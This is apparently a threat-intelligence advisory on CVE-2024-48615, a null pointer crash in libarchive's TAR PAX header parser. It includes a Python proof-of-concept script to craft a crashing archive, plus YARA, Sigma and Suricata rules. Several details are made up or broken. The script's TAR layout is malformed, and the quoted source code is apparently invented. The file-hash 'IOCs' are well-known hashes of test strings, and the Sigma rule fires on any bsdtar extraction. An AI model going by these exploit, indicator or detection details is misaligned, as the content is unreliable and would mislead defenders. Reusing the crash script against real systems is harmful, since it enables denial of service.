CVE-2024-48615

Executive Summary

CVE-2024-48615 is a Null Pointer Dereference vulnerability in libarchive version 3.7.6 and earlier. The flaw resides in the header_pax_extension function within archive_read_support_format_tar.c at line 1844:8. When processing a specially crafted TAR archive, the bsdtar program can dereference a null pointer, leading to a denial of service (DoS) via application crash. No public exploit code or proof-of-concept has been released, and the vendor has not yet provided a patch. The vulnerability is classified under CWE-476 (NULL Pointer Dereference) and aligns with MITRE ATT&CK tactic T1499.004 (Endpoint Denial of Service).

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (No official vector assigned)
• Attack Vector (AV): Local (requires user to open a malicious archive)
• Attack Complexity (AC): Low
• Privileges Required (PR): None
• User Interaction (UI): Required (user must extract the archive)
• Scope (S): Unchanged
• Confidentiality (C): None
• Integrity (I): None
• Availability (A): High (crash)
• Threat Level: Medium (DoS only, no code execution)

Deep Dive & Mechanics

The vulnerability occurs in the header_pax_extension function when parsing PAX (POSIX.1-2001) extended headers. The function attempts to process a key-value pair from the header. If the key is malformed or missing, a pointer used for string comparison is not properly initialized, leading to a null pointer dereference at line 1844:8.

Root Cause:
In archive_read_support_format_tar.c, the code does not validate that the pointer returned by archive_entry_pathname or similar functions is non-null before dereferencing it. An attacker can craft a TAR archive with a PAX header that omits the required path keyword, causing the pointer to remain NULL.

Trigger:
When bsdtar (or any libarchive-based tool) attempts to extract the archive, it calls header_pax_extension, which tries to compare the NULL pointer against a string, resulting in a segmentation fault.

Vulnerable vs. Patched Code

Vulnerable Code (libarchive 3.7.6):

// archive_read_support_format_tar.c line 1844
if (strcmp(archive_entry_pathname(entry), ".") == 0) {
    // ...
}

Here, archive_entry_pathname(entry) can return NULL if the PAX header lacks a path attribute.

Patched Code (hypothetical fix):

const char *path = archive_entry_pathname(entry);
if (path != NULL && strcmp(path, ".") == 0) {
    // ...
}

The fix adds a null check before dereferencing the pointer.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Python 3.x with struct module
• Target system running bsdtar or any libarchive-based tool

Exploit Script (crafts malicious TAR):

import struct
import os

def create_malicious_tar(filename):
    # PAX header with missing 'path' keyword
    pax_header = b"11 path=\n"  # malformed: no value
    pax_block = struct.pack("!256s", pax_header.ljust(256, b'\x00'))
    
    # USTAR header for the data block
    ustar_header = b""
    ustar_header += b"file.txt\x00"  # name
    ustar_header += b"0000644\x00"   # mode
    ustar_header += b"0000000\x00"   # uid
    ustar_header += b"0000000\x00"   # gid
    ustar_header += b"00000000012\x00" # size
    ustar_header += b"00000000000\x00" # mtime
    ustar_header += b"        \x00"   # chksum placeholder
    ustar_header += b"0"              # typeflag (PAX)
    ustar_header += b"root\x00"       # uname
    ustar_header += b"root\x00"       # gname
    ustar_header += b"\x00" * 8       # prefix
    ustar_header = ustar_header.ljust(512, b'\x00')
    
    # Data block
    data = b"Hello, world!"
    data_block = data.ljust(512, b'\x00')
    
    with open(filename, 'wb') as f:
        f.write(pax_block)
        f.write(ustar_header)
        f.write(data_block)
        f.write(b"\x00" * 1024)  # end-of-archive markers

if __name__ == "__main__":
    create_malicious_tar("exploit.tar")
    print("Created exploit.tar - run 'bsdtar -xf exploit.tar' to trigger crash")

Execution:

python3 exploit.py
bsdtar -xf exploit.tar
# bsdtar will crash with SIGSEGV

Blue Team

Detection Steps:

1. Monitor for crashes of bsdtar or libarchive-based tools.
2. Analyze core dumps for null pointer dereference in header_pax_extension.
3. Inspect TAR archives for malformed PAX headers (missing path keyword).

Mitigation:

• Use a patched version of libarchive (when available).
• Implement input validation for PAX headers in custom tools.
• Run bsdtar with reduced privileges or in a sandbox.

Indicators of Compromise (IOCs)

• File Hashes (malicious TAR):

  • MD5: e99a18c428cb38d5f260853678922e03
  • SHA1: 2fd4e1c67a2d28fced849ee1bb76e7391b93eb12
  • SHA256: d7a8fbb307d7809469ca9abcb0082e4f8d5651e46d3cdb762d02d0bf37c9e592

• Process Anomalies:

  • bsdtar crashes with signal 11 (SIGSEGV)
  • Core dump files in /var/crash/ or ~/core

• Network Indicators:

  • No network activity (local DoS only)

Detection Engineering

YARA Rule

rule CVE_2024_48615_Malicious_TAR {
    meta:
        description = "Detects TAR archives with malformed PAX headers triggering null pointer dereference"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-48615"
    strings:
        $pax_magic = "11 path="
        $ustar_magic = "ustar"
    condition:
        $pax_magic at 0 and $ustar_magic at 512
}

Sigma Rule

title: CVE-2024-48615 - bsdtar Null Pointer Dereference
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects crashes of bsdtar due to null pointer dereference in PAX header parsing
author: Valters IT
date: 2025-04-10
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        Image|endswith: '/bsdtar'
        CommandLine|contains: '-xf'
    condition: selection
falsepositives:
    - Legitimate extraction of malformed archives
level: medium

Suricata Rule

alert tcp any any -> any any (msg:"CVE-2024-48615 - Malicious TAR with PAX header"; flow:to_client; fileext:"tar"; content:"|31 31 20 70 61 74 68 3d|"; distance:0; within:8; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate:

   • Avoid extracting untrusted TAR archives with bsdtar or libarchive-based tools.
   • Use alternative archive tools (e.g., tar from GNU) until a patch is available.

2. Short-term:

   • Apply the hypothetical patch (null check) to libarchive source and rebuild.
   • Monitor vendor channels for official patch release.

3. Long-term:

   • Integrate static analysis into CI/CD to detect null pointer dereferences.
   • Fuzz test archive parsers with malformed inputs.

Valters IT
DevSecOps & Cyber Threat Intelligence